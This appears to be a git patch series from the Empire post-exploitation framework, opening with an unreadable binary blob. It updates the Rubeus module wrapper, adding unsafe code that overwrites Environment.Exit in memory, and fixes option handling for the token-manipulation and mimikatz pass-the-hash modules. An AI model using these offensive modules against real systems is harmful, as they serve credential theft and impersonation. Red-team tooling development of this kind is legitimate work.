zvUX*|XeUjQ&zYYO=pj3AVcRn9LkKX=KyWN_T^=vCBeVs)0(?jXyE^3f(1If%hFJ_& zNCWy{XB;0CaIl~($Jc4Y0E#WL?CR*_f;rdcEh#>cPL8Z5$m;fVXf@$gr@QM_a03|y zQswiJrM!a6oI1Z??59AQTx1a^%5jUzjF~QM%;+w1bGZA(k8tKqbr-pEys5>-*w|AL zlCo6h1ma&?vM+Wi-FEf*lS!X3US}b+!&r9ROdp@TE@+}rBuFQ6rpJ88u4Yoy zC4#zQ3kp6+t?#oL4;3c{wxq~46NICRk~#KdUcu3jL=UEe8HbVH2s35=I8 zL#B@8(PFXZF51d}1=?=2;Ad_I_6r)suJ#h$m3z(F`oie;x3QQoYT#Xz!tXp7M`{U> zLSt;Z+HW}c5yPTgH{n`{oq@r!wqlPn56mS>;0*0yr(JLEG;qFM9b|6T7^xGWoLy}^ zqzHSQy7MvKC51Mz-KkxT%g|*DniDz^S`w;McF?XqsIpzFjA=tGfoTJ+iJJ$yRyYD7 zy%&@%!0>oW>0Jcjfj!Y0`Yvntw#`ns#BS4f5H^=1ky(zaJRejAd7S(Os}Gl>&=r5& zZlUB~tu>2BlcBTT*~Bl@N}vWkIU#L!_1dHHrcc|-R_F?#Lc#}mOqX)ATkW6fE%D?F zCWO=qeTc1abt$0nh8ZYwx$=b>Ag=-sxm~V_NA2qRYGH(4Xu?7_^H{b?Q%Gi1gFcqP z;$$J-R^R>C=#Dl>q+J2_{D$gFsX8FK+17}R(F!<)!A(m~%}Lb>XjfBDxGFt4*UW$c zVi>on&GSwva?gU;2Q`R9({3AyeUveFq-f9~psx)F0wbA+;G?VGRpf`qH^XIDn}z_> z*w(I|74EXuf@)_UgoF!?Pr~T^CC^BnhB@*%;i(`5DNZwoZhCBiO`<6SZXm{R$!Y7W z(XhYSw=u;xu6*vFF5Q?Ah*e$xyVQ^ZVVa~|YSN&=B@#qmGdKEx!h3L{Ae|=tQb)JT z4t(`fp9_8${3)q|;Z{?zpX&-_3A?4Y4PzFp(n&oxEPjTBYB-sqSjbA45KvA1CxF;- zJzBJ@&afb=3=hOic$>j~SHZS)Dx6IbRt(q5_A79D{NS>F$7>=yEU6sq>YT9EtJKML zVGLbRaKf?*|5OA{`an$);hqd*S%f!>z)wgJ&{4riBY^h%LqlQa0>ZGb3>~WwN#|j4 z`y?=OMOa3bji0Li&#s#N&>Zj~MQKyro_tfVD6O(4SbkT~`E|{-Sgd0VH8G zENq&v4k-d7ISUyR+d~pP;286{T~NlZ#*Zy>=6axYy*8j#WXlr_lPxyvgeQqRLMPhQ zP9dyh^NSZ?*b1B|g814CUW8iaF5fP7LS~q&8e~0I)YU^N;%s+*QM{H4!&@X=e!mlm zHE_PzlU_H{d@lt2!z)xq%5WZBw!Rv!GU4OzubUYu$G{3YT5DDIgvl?s0mz-fiUe%B z%TCQ%;P%1gMFs&Lgb2D2j(MSKv^F%XgH71gbg)I16ZthAieJwP*u)@`k9;LXf*&BJ zBKO909$jtd^f%>LOOSO z;teBO$KYildjKBE=Y8i4a0hwLu1<%tolc1X$%Aeu4XSSaW$IHnBjK^sS_n;FdR$YS zd4hvPCQxHwcs?ktHKXS}!DEcjz){ei-aNMmM}&LkEMibnME^ydnM30m>iCLr7o+UL z>keR%@qQRvfzMkgEwNS@$)zb!C55iQRBt{KOgUx6$W3|B9=Q&;;APk}2N1@XfO6sH zT+jwFRGUe5bpl(KUP+KBCcgrj!BtocXPjIA7frD<^y=59a~t8@z*|OsO9&@52gSlf zS-Uz{C2&N){X}adiCc>;b?GFM!FK&p(GiR}Vy)u;0*gcq3oR%K26D53oo#vquO(^57J-E|)m0x|`r$F91o zc#t$S9Qxf7wK3llh?zc7cof#j^lG5iG75BN%;zXn^3r(rL}c$VUwD&!qqnwW+(O=GZ? zsc!gsMRv6Z=^akPh+&ceOFSEuQ#}HG%=L8D6Bp<`R6t2y05Hi);V5f2@*G8+`r&I~ z>}p0|CA$~x-ExtEC6Y=ScPaAyt;?rN!VGd|8{p7SPrrNY{Ol#bR zhV1xslZ{P8WA2mFmTPJ5#&~G{cpF3)(`F+WN(ftvSQ;u& z%MIGqQRFfq^ST)n@bEsCJUNLeCbl&HM;9T?G{T)N%G0$VnY@d%N$T*CjLwUZ@)V;5 zVFRhGvZ%LZ*q1JnsU*(0EIc2(I?_5*D&)yHkO4X%W+dobPFO;~)e zlxgx+@09@+UGtR{0}7-t6pmh2SFX}PqdBLv_Ig?u*>iM)UcJ;W!MO*jI_O8?334xb zbde(v+KN@`jR^tlkq==(f2j~dDrHNb*RHnAlJB14jHh-{U}4R+h>BAoiAWsE(2RqR93t2_ z9}}UNi-6eD6l2a2gb=;UV-(7WML^OiSK_A*3{p!HLH8MSBJ`Ky3cYJg{)OUAt!7sP zf@Qth!VIp(0F%Hh#G5aHnfYQu6Z`ms=Jc4X9GqtCB0ZZfwscn!7EVmo21o-VY&&VA z&v;ovX4vLz7gMq>+fkYgJUknPMuhb0sn>pbIl(JW{yH#=sB9WncfnuoOJhB&p zPhfR4I(HFtFwNVE0iz1R2=R9~a*8Md*ua+26zTrG83|nn&?IVV5Rm9@=%%fRjf9#% zyV{{jmkjj>Hq$~Tn4mn&1~YXsBJdXTD#s$K2-FPgx6 z>(naMrF&uO1()RrWQEnI1UO~v05uVy+>k=~m{*~viP6KN2$38v$u%w>W0Zzf!NBA) z0}Z5H#mWyYRW9?{%(oH65WQu$X|b`H+2Rcs+QdFuE>C9(J<%bQ4TT<=J5%s4rE^%S z&W(tn$sXEDE6GpsBEHs`hxKKWJ;)bu1|Sxa#~>6vjb7`GYw5Ep^Ylg*4erRLny?bu z6p;WH3>q9XeHtGNRj~2}>4mYy@cN)Ub;U&@2!RvvFC7t%VW{}XRTf|v8xF> zYNQC)ieSN;5M$w0%N~kJBYnl3T}{+uB~43Ebp@w2NMao!gVbs~@-=$?CFs>@dR^*y z;ltY1R%4CjEp+aoM06bkrx+9T=KGrR5rZl2cGg{V+xSAyNSFdPYtNA7!2U!610%{J zVQZQ~3mr?n2clp*BRKVQm7zuy@P;9CcD3#xOvR#Ak;1qpf>VfasjJ42S-}@t>N($1 zBuj-WNY7AcP{@%qoZ+#Oo~A7a#TZ)h2$O)-9zMabT3vFeh+Q~7X7dXjiA(HI9KA*_4AH3f+S8JnXC zV1}h;;O-<=!f%*%X7@B#TDu_2>q|O=+=cu)Yl)5s$#JZb-Jt5rcNd7*5_*Z05YcJ?WH7llK^)uxzspmAq#j$4 zD$w8o12r0Vb4FBMsIr32HXxzy!BT6GZP9{!dv6ypYOtRi6{)GTrDo1w>(>Bx5X*X9(MaM2gyR0kKkZ7`BA;2<&CbPS-jQenZg`F)+$ zwI+~#77ZhsnGPD@t-PeMv;rn9wB8|9HO0b{4JOmB3L(;~$q|sYQRgQN3z86a+ws{h z@e(!Rd~b<#H6*_yPR4>|FP3N(XJHq2V&#!pSkpQr@+-bb2lX5s_H&iC z40&aQtVb*|t7Q&1%y9NCEt#;J-7eGA27! ztg6@KjQUh8^U*vEow}DDBVB7K2O1FAKP_D4Tp%S@cRhqB&cP9*%=r`+4qb~&KY?{b z60Ovg8(gB>g~(dU8g@2RO6}@}EFH=^x?t&pE*Gf+0ju9?@R+t}fUJf->WU0r972A> z_{-&hCW9nYfHq?$Vrr-vzQP;5?Ivu5oJIvrW~fvMB^qTKeh(%G*(ufR=IYWLMjA47KhYl@*1+XhKOY({)Hl0-3Fu1vib5 zC0+lyzn4{gAQ&^@5eu=DJqqVRnueQ3hFF7R%zmgwNHOT)Aapl$AE$fuPFuuJAC8h- z3?df#u_GoD8ni|P>Gg13zW)3Zdf_gR6ZmjlF?L!hghsc*=~c6reX7|d&RCd?uRvnd^k!4rK{DI{0piCGs2Pemb7bPrGXtCg$6;a?E zgUxj~+M*uvr|{wksVn?nyJ{`0xhh%|YAM`v6qhrRMVNRo&G!JDNMHyy*EJk@i$#%X zCq^{l9z2L-x*b%Jnt|7E32z2fLdQzaQ3w_lJw3O&aM^KDEv)jes{;rqd}~3APs$us zjAgnq*hRU7M#~lf)p(1wvx)YgbaS0p>!Ov`2P-)3fJvwTGT1Y`cz{AHBQi$9#THL# zP~l6@#IBAYOwbsHKn|P7&1Z>1Ib{l$h@eC;dgZivm(LS-77C`A2aN`HY1<=^@@=@Km9Z2<@>g;u3NbKlh<#5yX2ee7k0j9@67`ybqTy# zWB2ffa|f+S+jQrn&HQ)n7&TgX`ihY;?VtZ{)2%5nm*?Ji$;1&~baGD~qN2}+{UT}i^5nY#cA9)K5r#PkUMc!F1hDf&5HEvn$< zmf~I=?OQL0Q-$|=&hP*GBL!5YA&$)yrJQHRpDJjIot?^!Yy71uwL##)_%;4hRcS(E zYky6mutAM74qKyLh+~E_2ET?Vqp(Q~H(MI1Wa2mfHb(9LTaH*1pm}F-#P~e`_oDG3 zNbC6cB3UCFn+N#7H{8@96W`pWUxkn54 z^Wi=zWxz&mFooO72teW6E*$`-jzx>;5{6zPZ7{ayJGa8 zRH2*)(C&l4v-)(lqqGg1XaMP({^Uo^aX-An1jEfCekcZfQsoRgqDei`>Hw`-tJ+AdF$U(o5-y zfBZ|wM};JFhasJkhO}X~Kq09)qIcX6)4byl>(`E2ZPE_B@_&D)1qC*#;66q1V8^!q z`}_YN1*V>fK1W0-j>mecDx)rPR7MV88X2KRMAWgbZ1iE) zk%@P{wn?wu5*QUHoa5+JGjeQH-NtRwyv1cc>n9}Qvtc8JC8kcToBfrgvJ}WKNQK`0Z)DMoMs@6~Dk0GU-{y6)tmoqNjzaw+c+gHCZefXH%gSSPzFyg%- zo^I{>yPn(Lc0=948!jvPC}ZP8*T!VM)c%|UOTVe#_Us+0?GESO_D1uJ`)(Y1_HD1P z?bhanpU*f83+aU-HLOYw|9uJT!4>#oQ~d zS$*J%o9=ld`Tndc&WxWw@*~HuO230!4)v>ecHZ}%ln3ldzpk@CTIZ77>t_}$xz%5P z-lGRz{Mq*8sMtk$uXWj-n9=-)r-v@?la<|Ud%@_khaQ=~bzJ|uE3+09)p)GO^RwG+ z98=KmwvpS;xwL!H+;eO0xa-ZK^CF7oDfe!g|4DWP*i*fy;;^IQH%DWTvt|3JdX73Z zqruZPYSfC1bW|+oRW+*Oc1Oi6uj=H?vASw!CG|wbDU=3B7y>iv1LpvPU{>;e0^6~M3&LwN-{k3xVO*54d-@dxH z*@y0zVwTVOIU;S#tMj-0p1p1J-5bYwf6PmNFkSg!@z&dS#XV8??&kGxdiVWSk94|Z z|M&O%AHMeElxzCkI_;U{!kr5qZTr_J-@fCnef@%se}ASto%Hi>a}G6(wb$6&Y4MGN zrgyw}L-Mts)~f%?q^YlOEKi+Yu;S?rPhXSt>Ve3Hb7uXr^V30}%>Mhc&mR8!*H3oU zUt9dn4PT5}pS*ld*SGt9kW@FfSH#^F)7mclbzK}8-#K^<53Y;-LABg3~Md-`1qM=5PLJ^Oacevh3$F!^Wy^_3mIUL31r z?~bdC>ASt<(;I&qwCI+%|4eT2<&%fL*!Pw*^0}pNy;Cw`V&;S2PyTV|=k5zy_`h2l zw3Z>jXI7RhX#U;&TbguOds&AW_r9H+GWUzM9dge6{JY+u9!K7NV!%h& zWYoFj*LR0Ka>0)?d@W1cUb3*qi*b|IWJL};x3Ja&V;9_7v;6*wM{-8KSMko_=LT&` zcy?_4+jeCSiFNG#>b?bYCcijqLX-K?>w3AD?oDiWb@bjtZ#Q}B(?4JT?%t-F?)lwO z@k@B!V@PrG%o_f!XC>Zo;SKY~KDzL!Ew?=uxJDR^mJKNN5ae3r!cMhp8`aElMtOL# zPp83w67QS?j`X#nauq+6_sqd^|Yh@0OMg zb7IFO$6#GMs%lhUM{h^6e(s2v*F^(ZT3Q+oAl3^RkOCHg656L@u6idQx~s$<>0O_uiVqI*uU%h z&o z;-2>oUvtmX8=s$+(m_6^&E%V=btn>E|Z;RRV<=vO!;T5 z7q%N*UeR>moV&LLl826h_PG<<=L)HP8cwTw+o(-S`<0D8$T)latSQSaBs=xCNBBBD zp?rEe5*$fMy{LLpaQYwkIyqb}8gLdCSJ&71uvgI^k8T|_^x|e)w-4^0z3K4ECQo%q zd^&d2n5~z8-@p6rAqh8hTz`H3r)Ou)eQNWt9hcSkeSgWbSG~Mq*D7~$!OZxAJ?l5@ zzv9W)e|YGx*n8`q-=3JqQeGb%y+F) zYR{SR_nn@iS)cCff9)-IT^w^^=TXgaFG{>?=j9{MX)|$Z##JA8o7*sJ&7sFzEb{!& z{*K1Kzt-^GD`E~-&hYo#a`UX^+b*iPug2 z9`2Kxw&hJn^I(N05mEJ8)j-_qheXp!a z+%^Bn*YaNMxuaR@=VpA|=k~Q{`R{7I;JtP0VsoxOxMZ_y=(J1T z-;WI3xVA=7y=`}X*wHy>@K0whY1BG7B5wY}HD6ks_{3KOw`BL*_~62i_Z0M6bg<3h zCEHe)=8W$BjxT*p+h3ue9)g0pL3fX8EN2!Kxml}fI(6<*6-7YzC>h>R52&VugdWsU zbdGSEz*9%X+Ed{k#XH)=-ojgIRg~r~=3~U^*%`Ks?2)~bd!%>o+TGD3t!s}#X_*P_ z9c@`KvT>Xd$gxjdv#H(ijE!%GJI{4ock0Keu4@)=YEdzz{bL<+*ESxu-SO0>*yKMe zTuHTF?761h)L&~wZK`$4!3{snZk5|5bN8@&M<;D~%k%w&KI<-Dc5c5$(e@tGGrr#3 z_v(m(hzFaw_YVC&zRM4NOE0+h?c&>poj14Pn~!$=ePPS5zw5N_n>X&Nnfrh*XLFw| zZwz?iv(@7pdcL~v-4`~O^xAmviq9(cbbRlupAM}0sq&t8-i=&-chk9l^gF!rv-OEv zmqz6O{PmF*9WIW}zOre=fy?7(45_^Mf&Gsp&fM~@=ZsNpT({(o$n18c?W0%hyT5p2 z{;pkJ=6N=});RH!MO!Xib!NB3KMS62xjJL)?~ferI_2^yoo<}F zbHcK=W_QZ)oc7%E>u>w7{^@J?7w1nM`P;2m&id#Mdx)nLR%84dPbuIp&U2m=Pf3Rq z2(PS}FbMj8H8)uVP-v_A14=KvzVEa5^|<$g8a3vgJ?_B%+wOlkdQrEvuMfC**StBU zXMeQ!%rzV5d~xWu19dV6KhorBcb5bGr{v}w_~EknMmMDF+rE4L$OXS$bZ*<(@l6Lt z-~C+ugs95*daSRvM0x9~hh{oodVE3Zo&9@$IR4)FJ9@vrvF4;E_pfO%{P}D8UUeY% zw%-fB-}Q4`$JL1+yqZw^nLpZ0%^ZICEq|MDI$hI7`D5I3HCI(EZTeKwp^n#_Jv6t* zvW34?ocnG4>!aTt-{;y^(`&mQ+%$O3*vbJH;ys{CYHl0wUbp8)`D^$4>#4~HU*6Yi zbG~!wh`0L{Z@XZ1ND^97mNwfnvvd1%1-%C?2s&V!Gn0 zA#LTTnExM!Y!P)#fuxZ>TUzl9t&^5!s~wq8&y+liLT1WHuGLM5ahUHmh1LjGj7mVL z-|)c8J3ec1eU}v<&Kfvx&9FTOXWH*^Of-S0moU;Xd}(62!!iSvhgkv6lW|5S^i3n$ z4Ae426q;ur5+;~g4ymQ6N>v$B&$p_y*(lG}%nR+asE3Nes|qPUzI#QZNlDGk0iX`!nv&G zlGH_YJ9e1W_>NjXy{|l-+qe6;C*ECq=j&^GE$XzZ_rO=n8t!S^bHVrRKKFJxxcjls zBJ+QJsyL?qqWU}QyfW$hQGY~5-`Q}=)e9$G_u0akF)Me!yt3zkruYB$<)cv#-1d3l zmgxoC*RJhz`=YI&M`l!W+t{eST%Fg~N2mV}E z8F99wGU6;_Y-%P{M%2Tl=u^&wR>KG;G|Y7^Er+{wlB1b{Y-B>+;7KhN3>ajw8VLmScYqhUs?S1gfD)0$G7t4oqs*Kea*rv zizbbo-g@$qCS!j8eO=n2njhAA?1t>6t^pssTIL?`Wcek9zrXzI`@eUsJ9%^8Pp6e1 zPX4t1YwJ^5E}Wh?>6@F=djGlUBgeBZy|k)hPJ`69Gr#KBaa!vIPo8`2?ANv*?AoB` h>_?v}T=i^+A@l$0K0meZd#j(>`}~_*Fr|&Z{|~1Fz;plr literal 0 HcmV?d00001 diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus index 1e9fe7c3c..351cb3bc0 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus @@ -1 +1 @@ -Subproject commit 1e9fe7c3c2d0458f8200f248079485f3527f314f +Subproject commit 351cb3bc04430bdf9e05eaf5cc25be7ed937d41f diff --git a/empire/server/modules/csharp/GhostPack.Covenant.yaml b/empire/server/modules/csharp/GhostPack.Covenant.yaml index a7ab651dd..30427719f 100644 --- a/empire/server/modules/csharp/GhostPack.Covenant.yaml +++ b/empire/server/modules/csharp/GhostPack.Covenant.yaml @@ -8,80 +8,210 @@ Help: Language: CSharp CompatibleDotNetVersions: - - Net35 - Net40 Code: | using System; using System.IO; + using System.Runtime.CompilerServices; + using System.Runtime.InteropServices; + using System.Reflection; + using System.Collections.Generic; + using System.Security.Cryptography; + using System.Security.Cryptography.X509Certificates; + using System.Text.RegularExpressions; + using System.Linq; + using System.Text; - using Rubeus.Domain; + using Asn1 = Rubeus.Asn1; + using Rubeus.Asn1.Asn1Extensions; + using Rubeus.lib.crypto; + using Rubeus; public static class Task { public static Stream OutputStream { get; set; } - public static string Execute(string Command) + private static byte originalByte; + + public static string Execute(string Command = "") { + PatchEnvironmentExit(); + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); try { - TextWriter realStdOut = Console.Out; - TextWriter realStdErr = Console.Error; - StreamWriter stdOutWriter = new StreamWriter(OutputStream); - StreamWriter stdErrWriter = new StreamWriter(OutputStream); - stdOutWriter.AutoFlush = true; - stdErrWriter.AutoFlush = true; - Console.SetOut(stdOutWriter); - Console.SetError(stdErrWriter); + Console.WriteLine(Command); + string output = Rubeus.Program.MainString(Command); + Console.WriteLine(output); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); + Console.WriteLine(e); + } + finally + { + UnpatchEnvironmentExit(); - string[] args = Command.Split(' '); - try - { - Info.ShowLogo(); + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); - // try to parse the command line arguments, show usage on failure and then bail - var parsed = ArgumentParser.Parse(args); - if (parsed.ParsedOk == false) - { - Info.ShowUsage(); - } - else - { - // Try to execute the command using the arguments passed in + OutputStream.Close(); + } + + return ""; + } + + private static void PatchEnvironmentExit() + { + var methods = new List(typeof(Environment).GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); + var exitMethod = methods.Find((MethodInfo mi) => mi.Name == "Exit"); + + RuntimeHelpers.PrepareMethod(exitMethod.MethodHandle); + var exitMethodPtr = exitMethod.MethodHandle.GetFunctionPointer(); - var commandName = args.Length != 0 ? args[0] : ""; + unsafe + { + IntPtr target = exitMethod.MethodHandle.GetFunctionPointer(); - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + MEMORY_BASIC_INFORMATION mbi; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (VirtualQueryEx((IntPtr)(-1), target, out mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) != 0) + { + if (mbi.Protect == (uint)AllocationProtectEnum.PAGE_EXECUTE_READ) + { + uint flOldProtect; + + if (VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, (uint)AllocationProtectEnum.PAGE_EXECUTE_READWRITE, out flOldProtect)) + { + originalByte = *(byte*)target; + *(byte*)target = 0xc3; + + VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, flOldProtect, out flOldProtect); + } } } - catch (Exception e) + } + } + + private static void UnpatchEnvironmentExit() + { + var methods = new List(typeof(Environment).GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); + var exitMethod = methods.Find((MethodInfo mi) => mi.Name == "Exit"); + + RuntimeHelpers.PrepareMethod(exitMethod.MethodHandle); + var exitMethodPtr = exitMethod.MethodHandle.GetFunctionPointer(); + + unsafe + { + IntPtr target = exitMethod.MethodHandle.GetFunctionPointer(); + + MEMORY_BASIC_INFORMATION mbi; + + if (VirtualQueryEx((IntPtr)(-1), target, out mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) != 0) { - Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); - Console.WriteLine(e); + if (mbi.Protect == (uint)AllocationProtectEnum.PAGE_EXECUTE_READ) + { + uint flOldProtect; + + if (VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, (uint)AllocationProtectEnum.PAGE_EXECUTE_READWRITE, out flOldProtect)) + { + *(byte*)target = originalByte; + + VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, flOldProtect, out flOldProtect); + } + } } + } + } - Console.Out.Flush(); - Console.Error.Flush(); - Console.SetOut(realStdOut); - Console.SetError(realStdErr); + [StructLayout(LayoutKind.Sequential)] // Corrected the StructLayout attribute + private struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } - OutputStream.Close(); - return ""; + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + private enum AllocationProtectEnum : uint + { + PAGE_EXECUTE_READ = 0x20, + PAGE_EXECUTE_READWRITE = 0x40, + } + } + + namespace Rubeus.Utilities.Memory + { + internal class CrossBitnessTypeAttribute : Attribute + { + public Type CrossBitnessType { get; } + + private static MethodInfo GetMethodInfo(Type cross_bitness_type) + { + return null; } - catch (Exception e) + + public CrossBitnessTypeAttribute(Type cross_bitness_type) { - if (OutputStream != null) - { - OutputStream.Close(); - } - return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; + } + + public int GetSize() + { + return System.Runtime.InteropServices.Marshal.SizeOf(CrossBitnessType); + } + } + } + + namespace Rubeus + { + public static class RubeusExtensions + { + public static void SetPinForPrivateKey(this X509Certificate2 certificate, string pin) + { + if (certificate == null) + throw new ArgumentNullException(nameof(certificate)); + + if (certificate.PrivateKey is RSACryptoServiceProvider rsaCsp) + { + var providerHandle = IntPtr.Zero; + var pinBuffer = Encoding.ASCII.GetBytes(pin); + + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptAcquireContext(ref providerHandle, + rsaCsp.CspKeyContainerInfo.KeyContainerName, + rsaCsp.CspKeyContainerInfo.ProviderName, + rsaCsp.CspKeyContainerInfo.ProviderType, + SafeNativeMethods.CryptContextFlags.Silent)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptSetProvParam(providerHandle, + SafeNativeMethods.CryptParameter.KeyExchangePin, + pinBuffer, 0)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CertSetCertificateContextProperty( + certificate.Handle, + SafeNativeMethods.CertificateProperty.CryptoProviderHandle, + 0, providerHandle)); + } } } } TaskingType: Assembly - UnsafeCompile: false + UnsafeCompile: true TokenTask: false Options: - Name: Command @@ -117,45 +247,47 @@ Location: Rubeus\ Language: CSharp CompatibleDotNetVersions: - - Net35 - Net40 ReferenceAssemblies: - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll + - Name: mscorlib.dll + Location: net40\mscorlib.dll DotNetVersion: Net40 - Name: System.dll Location: net40\System.dll DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.Data.dll + Location: net40\System.Data.dll + DotNetVersion: Net40 + - Name: System.Data.DataSetExtensions.dll + Location: net40\System.Data.DataSetExtensions.dll + DotNetVersion: Net40 + - Name: System.Xml.dll + Location: net40\System.XML.dll + DotNetVersion: Net40 + - Name: System.Xml.Linq.dll + Location: net40\System.Xml.Linq.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 - Name: System.DirectoryServices.dll Location: net40\System.DirectoryServices.dll DotNetVersion: Net40 + - Name: System.DirectoryServices.Protocols.dll + Location: net40\System.DirectoryServices.Protocols.dll + DotNetVersion: Net40 - Name: System.DirectoryServices.AccountManagement.dll Location: net40\System.DirectoryServices.AccountManagement.dll DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll + - Name: System.Security.dll + Location: net40\System.Security.dll DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll + - Name: System.configuration.dll + Location: net40\System.configuration.dll DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.AccountManagement.dll - Location: net35\System.DirectoryServices.AccountManagement.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 EmbeddedResources: [] ReferenceAssemblies: [] EmbeddedResources: [] From b459ab7f4638801abf91b26123cc4f1173b3c064 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 2 Sep 2024 17:49:34 -0700 Subject: [PATCH 04/10] Fixed option parsing errors in credentials/tokens (#880) * fixed option parsing errors in credentials/tokens * fixed mimikatz pth requiring creded * formatting --- CHANGELOG.md | 2 + .../powershell/credentials/mimikatz/pth.yaml | 2 +- .../modules/powershell/credentials/tokens.py | 86 ++++++++----------- .../powershell/credentials/tokens.yaml | 2 +- 4 files changed, 39 insertions(+), 53 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 09091b3ec..92ad0ac97 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed Rubeus error where only first arg was being used (@Cx01N) - Fixed background jobs checking in continuously (@Cx01N) - Fixed Rubeus killing agent when certain options were given that use System.Environment.Exit (@Cx01N) +- Fixed option parsing error in credential/tokens module (@Cx01N) +- Removed requirement for credid for mimikatz/pth (@Cx01N) ## [5.11.2] - 2024-08-08 diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml index dc090ac5e..1559569d7 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml @@ -37,7 +37,7 @@ options: value: '' - name: CredID description: CredID from the store to use for ticket creation. - required: true + required: false value: '' - name: user description: Username to impersonate. diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 930cb2ede..16a650dae 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -1,36 +1,29 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-TokenManipulation" outputf = params.get("OutputFunction", "Out-String") if params["RevToSelf"].lower() == "true": script_end += " -RevToSelf" - elif params["WhoAmI"].lower() == "true": + if params["WhoAmI"].lower() == "true": script_end += " -WhoAmI" - elif params["ShowAll"].lower() == "true": + if params["ShowAll"].lower() == "true": script_end += " -ShowAll" script_end += ( f" | {outputf} | " @@ -38,44 +31,35 @@ def generate( + str(module.name.split("/")[-1]) + ' completed!"' ) - else: - for option, values in params.items(): - if ( - option.lower() != "agent" - and option.lower() != "outputfunction" - and values - and values != "" - ): - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) - # try to make the output look nice - if script.endswith("Invoke-TokenManipulation") or script.endswith( - "-ShowAll" + for option, values in params.items(): + if ( + option.lower() + not in ["agent", "outputfunction", "revtoself", "whoami", "showall"] + and values + and values.lower() != "false" ): - script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize" - script_end += ( - f" | {outputf} | " - + '%{$_ + "`n"};"`n' - + str(module.name.split("/")[-1]) - + ' completed!"' - ) - else: - script_end += ( - f" | {outputf} | " - + '%{$_ + "`n"};"`n' - + str(module.name.split("/")[-1]) - + ' completed!"' - ) - if params["RevToSelf"].lower() != "true": - script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' + if values.lower() == "true": + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) + + if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"): + 